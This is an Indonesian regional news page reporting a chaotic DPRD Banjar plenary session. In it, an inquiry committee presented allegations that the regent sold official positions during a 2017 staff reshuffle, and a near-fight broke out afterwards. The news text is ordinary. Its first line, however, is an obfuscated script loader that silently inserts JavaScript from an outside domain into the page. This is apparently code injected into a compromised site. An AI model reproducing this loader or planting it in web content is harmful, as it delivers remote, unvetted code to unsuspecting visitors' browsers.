(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Paripurna Penyampaian Hasil Pansus Angket DPRD Banjar Berakhir Ricuh


MARTAPURA, Friksi yang sebelumnya terjadi soal hak angket DPRD Banjar akhirnya memuncak dalam sidang paripurna DPRD Banjar, Rabu (6/6). Sempat tertunda beberapa kali, paripurna yang salah satu agendanya membahas hasil investigasi Pansus (Panitia Khusus) Hak Angket mengenai dugaan terjadinya penyimpangan dalam proses mutasi di Pemkab Banjar, berakhir rusuh!

Sejak akan dimulai, atmosfer ketegangan memang terasa di ruangan paripurna DPRD Banjar yang dihadiri anggota dewan dan sejumlah SKPD ini. Hal tersebut terkait adanya bocoran hasil laporan Pansus Hak Angket yang menyebutkan adanya indikasi jual beli jabatan pasca perombakan jabatan 104 pejabat struktural dan 7 fungsional yang hanya dilakukan Sekda Banjar H Nasrunsyah pada Jumat 27 Oktober 2017 silam.

Dan benar saja, dalam laporan hasil kinerja Pansus Hak Angket yang dibacakan oleh mantan Ketua Pansus Hak Angket Ahmad Rozanie dan mantan anggota Ismail Hasan, disebutkan adanya temuan dugaan jual beli jabatan yang dilakukan oleh Bupati Banjar H Khalilurrahaman.

“Dalam penyampaiannya hasil investigasi hak angket ini berdasarkan keterangan 45 saksi. Bahkan ada temuan yang memberikan sejumlah uang dan ada juga yang menukar jabatannya dengan modus sebuah cincin,” jelas Rozanie.

Dari sejumlah hal yang dipaparkan Pansus Hak Angket, juga disampaikan dua point khusus terkait hasil penyelidikan yang dilakukan. Pertama, adanya upaya untuk melanjutkan ke ranah pidana terkait dugaan adanya transaksi jabatan. Kedua telah tertemui syarat untuk melakukan langkah selanjutnya yang dapat dilanjutkan oleh panitia hak angket untuk meminta pertanggungjawaban kepala daerah.

Walhasil, laporan hasil Pansus Hak Angket tersebut sempat membuat merah telinga pihak eksekutif. Sebab mereka menganggap mutasi yang digelar beberapa waktu lalu, berlangsung wajar meskipun tak dilakukan oleh Bupati yang ketika itu dalam kondisi sakit dan dirawat di Surabaya. Pun tak dihadiri pula oleh Wakil Bupati Saidi Mansyur yang mengaku tak hadir karena baru mendapat surat undangan secera mendadak.

Usai paripurna, suasana panas masih berlangsung ketika rapat selesai dan anggota dewan bersama sejumlah SKPD meninggalkan lokasi sidang melalui pintu depan. Ketika itu, tiba-tiba ada salah seorang dinas, yakni Kepala Dinas Kebudayaan dan Pariwisata Kabupaten Banjar Haris  Rifani sempat bicara dengan mantan Ketua Pansus Hak Angket, Ahmad Rozanie.

Mereka berdua pun terlibat adu mulut, bahkan nyaris terjadi aksi adu fisik antara keduanya. Namun untungnya, keributan tersebut bisa dihindari karena keduanya dipisahkan oleh anggota dewan dan undangan lainnya.

Rozani menegaskan, hasil angket ini bukan keterangan dari pihaknya pribadi selaku mantan ketua atau anggota panitia hak angket. Namun hasil tersebut merupakan temuan kepada orang-orang ASN yang sebelumnya di panggil dalam penyelidikan kasus  tersebut. “Kenapa setelah kita bacakan hasil temuan tersebut, ada salah seorang oknum yang mengatakan hati-hati. Apakah itu merupakan suatu ancaman kepada kita sebagai anggota DPRD Kabupaten Banjar?” ungkapnya.

Dia menambahkan, tidak ada maksud dari panitia hak angket untuk menyudutkan pejabat di Pemkab Banjar. Sebab dalihnya, apa yang dilakukan sebatas memaparkan hasil dari temuan kinerja pansus beberapa waktu lalu. “Tidak ada kepentingan kita untuk menghajar ASN itu. Tidak ada kepentingan kita. Ini justru membantu kawan-kawan ASN yang ada di Kabupaten Banjar, itu yang terpenting, tapi jangan main ancam-ancam ke kita,” tegasnya.

Rozanie mengaku, sebelumnya juga sudah pernah mendapatkan ancaman serupa ketika awal kepanitiaan hak angket beum terbentuk. “Dulu saya juga pernah diancam, dan apakah boleh saya mengaitkan hal itu, apakah salah atas perbuatan ini semua. Dan bisa saja kawan-kawan media menyimpulkan itu,” katanya kepada wartawan.

Menurutnya, apa yang disampaikan dalam rapat paripurna tadi merupakan pelaksanaan tugas panitia khusus hak angket. Jadi, ia meminta agar jangan dihalang-halangi. Mengingat keputusan nantinya ada di kawan-kawan pada sidang paripurna berikutnya.


Page: 1 2 3

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

1 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

2 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

2 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

3 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

3 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

5 jam ago

This website uses cookies.